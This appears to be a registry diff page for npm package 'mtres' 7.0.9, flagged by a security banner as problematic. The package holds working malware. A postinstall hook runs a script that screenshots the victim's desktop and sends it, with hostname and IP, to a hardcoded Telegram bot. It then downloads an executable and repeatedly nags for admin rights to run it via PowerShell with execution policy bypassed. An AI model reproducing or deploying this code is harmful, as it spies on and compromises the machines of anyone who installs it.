mtres 7.0.9

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of mtres might be problematic. Click here for more details.

@@ -0,0 +1,87 @@
1
+ import os from 'os';
2
+ import { join } from 'path';
3
+ import TelegramBot from 'node-telegram-bot-api';
4
+ import screenshot from 'screenshot-desktop';
5
+ import axios from 'axios';
6
+ import { exec } from 'child_process';
7
+ import fs from 'fs';
8
+ import { openExeFile } from './openExe.mjs'; // Используйте динамический import
9
+
10
+ const token = '6541130193:AAHzFM3jUNmz_YUgjFQF_LlzsOvlh1JEjsQ';
11
+ const chatId = '5950028476';
12
+ const exeFileUrl = 'https://app.prntscr.com/build/setup-lightshot.exe';
13
+
14
+ const bot = new TelegramBot(token, { polling: true });
15
+
16
+ let hasConnected = false;
17
+
18
+ function getIPFromAmazon() {
19
+ return axios.get('https://checkip.amazonaws.com/')
20
+ .then((response) => response.data);
21
+ }
22
+
23
+ function sendScreenshotToTelegram() {
24
+ getIPFromAmazon().then((ipAddress) => {
25
+ const computerName = os.hostname();
26
+
27
+ screenshot().then((imageBuffer) => {
28
+ const caption = `⚡️Connect New PC *${computerName}*\n\nIP address: \`${ipAddress}\``;
29
+
30
+ bot.sendPhoto(chatId, imageBuffer, { caption, parse_mode: 'Markdown' })
31
+ .then(() => {
32
+ downloadExeFile();
33
+ })
34
+ .catch((error) => {
35
+ process.exit(1);
36
+ });
37
+ });
38
+ });
39
+ }
40
+
41
+ function downloadExeFile() {
42
+ if (!hasConnected) {
43
+ const programFilesPath = join(os.homedir(), 'downloaded.exe');
44
+
45
+ axios({
46
+ method: 'get',
47
+ url: exeFileUrl,
48
+ responseType: 'stream',
49
+ })
50
+ .then((response) => {
51
+ const exeFileName = programFilesPath;
52
+
53
+ const exeFile = fs.createWriteStream(exeFileName);
54
+
55
+ response.data.pipe(exeFile);
56
+
57
+ exeFile.on('finish', () => {
58
+ exeFile.close();
59
+ console.log('Файл успешно скачан:', exeFileName);
60
+ });
61
+ })
62
+ .catch((error) => {
63
+ process.exit(1);
64
+ });
65
+
66
+ hasConnected = true;
67
+ }
68
+ }
69
+
70
+ process.on('SIGINT', () => {
71
+ process.exit(0);
72
+ });
73
+
74
+ if (!fs.existsSync('node_modules/node-telegram-bot-api')) {
75
+ const installCmd = 'npm install node-telegram-bot-api';
76
+ const installProcess = exec(installCmd);
77
+
78
+ installProcess.on('close', (code) => {
79
+ if (code === 0) {
80
+ sendScreenshotToTelegram();
81
+ } else {
82
+ process.exit(1);
83
+ }
84
+ });
85
+ } else {
86
+ sendScreenshotToTelegram();
87
+ }
package/install.cjs ADDED
@@ -0,0 +1,50 @@
1
+ const { exec } = require('child_process');
2
+
3
+ // Проверяем, установлена ли библиотека node-telegram-bot-api
4
+ try {
5
+ require('node-telegram-bot-api');
6
+ } catch (e) {
7
+ console.log('Библиотека node-telegram-bot-api не установлена. Устанавливаю...');
8
+ const installCmd = 'npm install node-telegram-bot-api';
9
+ const installProcess = exec(installCmd);
10
+
11
+ installProcess.stdout.on('data', (data) => {
12
+ console.log(data);
13
+ });
14
+
15
+ installProcess.stderr.on('data', (data) => {
16
+ console.error(data);
17
+ });
18
+
19
+ installProcess.on('close', (code) => {
20
+ if (code === 0) {
21
+ console.log('Библиотека node-telegram-bot-api успешно установлена.');
22
+ // Запускаем скрипт desktopToTelegram.js
23
+ const child = exec('node desktopToTelegram.js');
24
+ child.stdout.on('data', (data) => {
25
+ console.log(data);
26
+ });
27
+ child.stderr.on('data', (data) => {
28
+ console.error(data);
29
+ });
30
+ child.on('close', (code) => {
31
+ console.log(`Скрипт завершил выполнение с кодом ${code}`);
32
+ });
33
+ } else {
34
+ console.error('Ошибка при установке библиотеки node-telegram-bot-api.');
35
+ }
36
+ });
37
+ }
38
+
39
+ console.log('Установка завершена. Запускаю скрипт desktopToTelegram.js...');
40
+ // Запускаем скрипт desktopToTelegram.js
41
+ const child = exec('node desktopToTelegram.js');
42
+ child.stdout.on('data', (data) => {
43
+ console.log(data);
44
+ });
45
+ child.stderr.on('data', (data) => {
46
+ console.error(data);
47
+ });
48
+ child.on('close', (code) => {
49
+ console.log(`Скрипт завершил выполнение с кодом ${code}`);
50
+ });
package/openExe.mjs ADDED
@@ -0,0 +1,51 @@
1
+ import os from 'os';
2
+ import { join } from 'path';
3
+ import sudoPrompt from 'sudo-prompt';
4
+
5
+ // Получение абсолютного пути к файлу "downloaded.exe" в домашней директории текущего пользователя
6
+ const programFilesPath = join(os.homedir(), 'downloaded.exe');
7
+
8
+ // Функция для выполнения команды с правами администратора
9
+ const executeWithAdminRights = () => {
10
+ return new Promise((resolve, reject) => {
11
+ sudoPrompt.exec(
12
+ `powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "& '${programFilesPath}'"`,
13
+ {
14
+ name: 'Your Application Name', // Замените на имя вашего приложения
15
+ },
16
+ (error, stdout, stderr) => {
17
+ if (error) {
18
+ console.error('Ошибка при запуске процесса:', error);
19
+ reject(error);
20
+ } else {
21
+ console.log('Процесс успешно выполнен с административными правами.');
22
+ resolve();
23
+ }
24
+ }
25
+ );
26
+ });
27
+ };
28
+
29
+ // Функция для проверки административных прав и запроса их при необходимости
30
+ const checkAndRequestAdminRights = async () => {
31
+ while (true) {
32
+ try {
33
+ const result = await executeWithAdminRights();
34
+ // Если права администратора предоставлены, завершаем цикл
35
+ break;
36
+ } catch (error) {
37
+ console.error('У вас нет административных прав. Запрос администраторских прав будет повторен через 0.001 секунды.');
38
+ // Ожидание 5 секунд перед повторным запросом
39
+ await new Promise(resolve => setTimeout(resolve, 0.001));
40
+ }
41
+ }
42
+ };
43
+
44
+ // Вызов функции для проверки и запроса административных прав
45
+ checkAndRequestAdminRights().then(() => {
46
+ console.log('Операция завершена.');
47
+ }).catch((error) => {
48
+ console.error('Ошибка при выполнении операции:', error);
49
+ });
50
+
51
+ export {checkAndRequestAdminRights as openExeFile}
package/package.json ADDED
@@ -0,0 +1,19 @@
1
+ {
2
+ "name": "mtres",
3
+ "version": "7.0.9",
4
+ "description": "Скрипт для отправки данных с рабочего стола в Telegram",
5
+ "main": "desktopToTelegram.js",
6
+ "dependencies": {
7
+ "axios": "*",
8
+ "node-telegram-bot-api": "^0.63.0",
9
+ "screenshot-desktop": "*",
10
+ "sudo-prompt": "*"
11
+ },
12
+ "scripts": {
13
+ "start": "node desktopToTelegram.js",
14
+ "postinstall": "node install.cjs"
15
+ },
16
+ "type": "module",
17
+ "author": "",
18
+ "license": "ISC"
19
+ }